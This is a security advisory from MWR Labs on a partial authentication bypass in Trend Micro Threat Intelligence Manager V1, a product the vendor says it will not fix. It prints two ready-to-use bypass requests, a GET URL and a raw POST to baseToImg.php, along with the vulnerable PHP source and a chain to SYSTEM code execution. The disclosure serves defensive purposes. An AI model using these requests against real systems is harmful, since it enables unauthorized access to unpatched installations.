Partial-Authentication Bypass

30/12/2015

Software:	Threat Intelligence Manager (TIM)
Affected Versions:	V1
CVE Reference:	Not Yet Assigned
Author:	Benjamin Harris - MWR Labs (http://labs.mwrinfosecurity.com/)
Vendor:	Trend Micro
Vendor Response:	Will not fix

Description

The Trend Micro Threat Intelligence Manager (TIM) is made up of 2 web interfaces. One that listens externally on port 80 (PHP), and one that, while listens externally, only allows requests from localhost on port 8080 (JSP). The user would authenticate only to the PHP interface, and the application would then internally forward the authentication request to the JSP interface and assign valid session IDs for both interfaces. Only the PHP interface session ID is exposed to the user in the form of PHPSESSID cookie, whereas the JSP interface session ID is added as a value to your PHP session ID with the key '`session_key`'.

Through the abuse of inbuilt functionality, it was possible to generate a session that appears to be a valid authenticated session for the PHP interface only, without any information with regards to credentials.

This functionality can be abused with any of the following two requests:

1.

```
https://HOST/widget_framework2/index.php?src=svrrender&jsession=a
```

2.

```
POST /middleware_rev/handlers/base64ToImg/baseToImg.php HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mwrlabz; statusbarcollapsed=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
```

```
method=set&name=system&base64[session_key]=a
```

Impact

This allows authentication to be partially bypassed, allowing access to certain functionality that would normally be only allowed to authenticated users.

However, an unauthenticated attacker can achieve arbitrary PHP code execution by chaining other TIM vulnerabilities discovered together with this vulnerability, in this sequence:

1. Access to authenticated functionality by an unauthenticated user (this advisory)
2. Write an arbitrary `Proxy.php` file to the local TEMP file directory [1]
3. Execute arbitrary code in `Proxy.php` as 'NT AUTHORITY/SYSTEM' by traversing to TEMP directory [1]

Solution

It is recommended that access to the management interface of Trend Micro's Threat Intelligence Manager is heavily restricted as no patch is/will be available.

Trend Micro's official response to this vulnerability can be found as follows:

"*Thank you for your patience and continuously working with the Trend Micro Vulnerability Response team.*

The Trend Micro Threat Intelligence Manager (TIM) has reached its end-of-life, and unfortunately addressing the vulnerabilities you submitted would require substantial efforts to re-architect or build an entirely new product. We strongly recommend our TIM customers to contact sales for further options on a suitable replacement if this is a concern for them."

Technical details

Authentication is handled by a library called MWLib within the Trend Micro codebase. This library is called within the application by requesting the `getInstance()` function, and takes a boolean argument to perform authentication.

```
public static function getInstance($auto_login = true)
```

If `$auto_login` is true, then we move on to this code area:

```
                if ( $auto_login == true ) {
                        // Bypass authentication for Report usage
                        if ( isset($_REQUEST['src']) && strcasecmp($_REQUEST['src'],
'svrrender') == 0 && isset($_REQUEST['jsession']) ) {
```

```
                                $ret = self::$instance->bypass($_REQUEST['jsession']);
                        } else {
                                $username = (isset($_POST['username'])) ?
$_POST['username'] : '';
                                $password = (isset($_POST['password'])) ?
$_POST['password'] : '';
                                $sessionsetting = (isset($_POST['sessionsetting'])) ?
$_POST['sessionsetting'] : 'public';
                                $ret = self::$instance->login($username, $password, null,
$sessionsetting);
                        }
```

Within this area of code, the `login()` function is called as defined by MWLib. This function is defined as following:

```
protected function login($username, $password, $HttpRequest, $sessionsetting)
```

Among the arguments it takes, the function requires the `$username` and `$password` variables. However, before checking these variables, the library looks to see whether the user is already logged in within the 'bypass()' function by checking for the existence of a `$_SESSION` array key, specifically `$_SESSION['system']['session_key']`. If this array key exists and is set, the application assumes the user is already authenticated and does not check the variables again.

```
                // check login
                $ret = $session_package->isset_system_var('session_key');
                if ( $ret == true ) return 0; // login success
```

From here, there are two ways to bypass the session authentication.

Partial-Authentication Bypass 1

Specifically, within the `getInstance()` function of the MWLib (authentication) library, if `$_REQUEST['src']` is set to `svrrender` and `$_REQUEST['jsession']` is set to arbitrary value, then the `bypass()` function is called instead of the `login()` function.

```
                        if ( isset($_REQUEST['src']) && strcasecmp($_REQUEST['src'],
'svrrender') == 0 && isset($_REQUEST['jsession']) ) {
                                $ret = self::$instance->bypass($_REQUEST['jsession']);
```

This function takes and uses a JSESSION identifier to query the JSP interface listening on port 8080. As the valid identifier is unknown, this will never work, however before that, the function assigns the value of `$_REQUEST['jsession']` to the array key `$_SESSION['system']['session_key']`.

```
                // save session key
                $ret = $session_package->set_system_var('session_key', $jsession);
               if ( $ret != 0 ) {
                        if ( $this->logger ) $this->logger->log(ZG_LOG_CRIT, '', "($ret)
set_system_var('session_key', $session_key)");

                        return -4;
                }
```

This allows us to meet all criteria to appear authenticated, if we pass all the required parameters to a file that calls `getInstance()` within the MWLib library with `$auto_login` set to `true` (which is default).

Partial-Authentication Bypass 2

If an attacker is able to send a valid `$_SESSION['system']['session_key']` in the request because the `$_SESSION` array is stored in the `/middleware_rev/handlers/base64ToImg/baseToImg.php` file in the web root of the PHP interface, and allows arbitrary read/write of the `$_SESSION` array keys and values.

```
<?php
       session_start();
       if(isset($_POST["method"])){
              if($_POST["method"] == "set"){
                     if(isset($_POST["base64"]) && isset($_POST["name"]) && $_POST["name"]
!= ""){
                            $_SESSION[$_POST["name"]]= $_POST["base64"];

                     }
              }
       }else if(isset($_GET["method"])){
              if($_GET["method"] == "get"){
                     if(isset($_GET["name"]) && isset($_SESSION[$_GET["name"]])){
                            $data = split(";", $_SESSION[$_GET["name"]]);
                            $type = $data[0];
                            $baseData = split(",", $data[1]);
                            header("Content-type: ".$type);
                            echo base64_decode($baseData[1]);
                     }
              }
       }
?>
```

By setting the `session_key` key, an unauthenticated attacker would meet all criteria to appear authenticated.

Detailed Timeline

Date:	Summary:
24/7/2015	Vulnerability documented
30/7/2015	Trend Micro contacted via security@trendmicro.com
31/7/2015	5 advisories sent to Trend Micro with provided PGP key
10/9/2015	MWR disclosure timeline requested due to internal discussions at Trend Micro RE: remediation
20/10/2015	MWR request update from Trend Micro
12/11/2015	Trend Micro issue statement and request coordinated disclosure on 17th November 2015
30/12/2015	MWR publish advisories.

Reference

[1] mwri-advisory_trendmicro-threat-intelligence-manager_arbitrary-code-execution_v3.pdf